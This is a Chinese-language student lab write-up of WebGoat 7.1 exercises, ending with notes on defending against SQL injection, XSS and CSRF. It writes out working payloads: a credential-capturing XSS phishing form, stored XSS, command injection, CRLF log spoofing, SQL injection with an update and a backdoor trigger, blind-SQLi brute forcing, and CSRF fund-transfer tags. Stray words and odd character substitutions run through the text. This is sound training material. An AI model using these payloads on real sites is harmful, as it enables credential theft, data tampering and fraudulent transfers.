本实践的目标理解经常使用网络攻击技术的基本原理,作很多于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。javascript
WebGoat: Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各类漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;
首先下载WebGoat
wget https://github.com/WebGoat/WebGoat/releases/download/7.1/webgoat-container-7.1-exec.jar
输入java -jar webgoat-container-7.1-exec.jar
命令打开WebGoat
html
在浏览器上对WebGoat进行访问。
地址localhost:8080/WebGoat
而后使用默认用各户guest和默认密码guest登录java
在search
部分填写一个页面,用于钓鱼git
<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script>
<form name="phish">
<br>
<br>
<HR>
<H2>please input your information here:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
点击search后github
随便输入用户名和密码
登录后,会发现 页面填写的信息已经被捕获而且反馈回来显示在页面上。web
XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,经常使用语留言板,每次当用户查看留言信息时即触发。致使用户访问时载入非预期的页面或内容。sql
在Title中随便输入数据库
在Message中输入<script>alert(" you have been attacked by wyhy !!");</script>
浏览器
点击submit
建立帖子后:安全
点击上面的链接,攻击成功。
非持久化,须要欺骗用户本身去点击连接才能触发XSS代码(服务器中没有这样的页面和内容),通常容易出如今搜索页面。
当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可使用攻击脚本制造一个URL,而后提交到另外一个网站、发邮件或让受害者点击。
命令注入攻击对任何一个以参数驱动的站点来讲都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能形成大范围的损害,危及系统安全。尽管这类风险数目使人难以置信,互联网中的系统很容易受到这种形式的攻击。
启动WebScarab。在课程页面的下拉列表中任意选择一个页面,而后点“View"
在所请求的页面处添加"&netstat -an & ipconfig"
。而后再点击view进行查看。
查看到网络端口使用的状况和IP地址。
在station字段中注入特征字符,能组合成新的SQL语句。
SELECT * FROM weather_data WHERE station=[station]
下面的表单容许用户查看天气数据。经过注入SQL字符串的方式查看全部的天气数据
选择一个城市,点“GO”
在编号后面添加“or 1=1”,肯定
添加后点击GO,就可以看到全部城市的天气数据
这种攻击时在日志文件中愚弄人的眼睛,攻击者能够利用这种方式清除他们在日志中的痕迹。
在Username输入wyhy%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符。
如图,攻击成功。
Stage1:String SQL Injection
使用SQL注入绕过认证。
以用户Neville登陆,在密码栏中输入' or 1=1 --进行SQL注入,可是登陆失败。
使用inspect element查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只容许输入8个字符,将8改成40
而后就能够登录了
Stage3:Numeric SQL Injection
该课程的目的是经过注入语句,浏览到本来没法浏览的信息。经过一个普通员工的帐户,浏览其BOSS的帐户信息。
点击ViewProfile浏览员工信息
将员工信息的value值改成101 or 1=1 order by salary desc --
这样根据工资高低的排名,老板的信息就会被排到第一个。
输入101,获得了该用户的信息:
输入的语句没有验证,很容易进行SQL注入。若要执行两个语句,中间须要用分号分隔。输入注入语句101;update employee set salary=90000
。
使用如下查询条件,添加触发器:
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='wyhy-1997@foxmail.com' WHERE userid = NEW.userid
目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int,整型。
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
查看pin数值是否大于10000
一直尝试 5000、2500,到1250发现提示变为帐户有效
打开BurpSuite
,设置代理proxy
的options
将端口号改成5231
,点击add,ok
设置浏览器的代理,打开浏览器右侧的“更多”,依次点击preference->advanced->natwork->settings
,选择下图所示代理,端口号为本身刚刚设置的端口号。
当于将burpsuite当成中间服务器,每一个数据包都流过它。。返回题目,点击go,返回BurpSuite,已经抓好包。
在Positions中,选择Sniper模式,在Payloads中,选择type类型为number,而后设置变化范围2250-2500,并设置步长为1,在Options中,选择Start attack开始攻击。
能够经过在右边插入的参数中找到“屏幕”和“菜单”值来构建连接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。
在message中输入<img src='attack?Screen=273&menu=900&transferFunds=5000' width='1' height='1'>
screen的值和menu的值是由上图获得的。而后经过宽高设置成1像素,隐藏掉这个图片。
提交后会在消息列表中看到新的消息
点击后会加载下面这条消息,达到CSRF攻击的目的
在Title输入:5231
在Message输入:
"attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
获得以下结果:
(1)SQL注入攻击原理,如何防护
原理:利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力。经过在Web表单中输入恶意SQL语句获得一个存在安全漏洞的网站上的数据库,最终达到欺骗服务器执行恶意的SQL命令。
防护:以SQL注入为例,能够经过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入做为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入做为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
(2)XSS攻击的原理,如何防护
原理:XSS攻击是Web攻击中最多见的攻击方法之一,它是经过对网页注入可执行代码且成功地被浏览器
执行,达到攻击的目的,造成了一次有效XSS攻击,一旦攻击成功,它能够获取用户的联系人列
表,而后向联系人发送虚假诈骗信息,能够删除用户的日志等等。
防护:在表单提交或者url参数传递前,对须要的参数进行过滤。过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出
(3)CSRF攻击原理,如何防护
原理:CSRF就是冒名登陆。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,由于目前主流状况Session都是存在Cookie中.攻击者并不关心被害者具体账号和密码,由于一旦用户进行了登陆,Session就是用户的惟一凭证,只要攻击者可以获得Session,就能够假装成被害者进入服务器.
防护: 验证HTTP Referer字段。
在请求地址中添加token并验证。
在HTTP头中自定义属性并验证。
最后一次实验了,真的是又长又难。首先安装WebGoat就废了很大劲,最后参考这篇博客完成安装可使用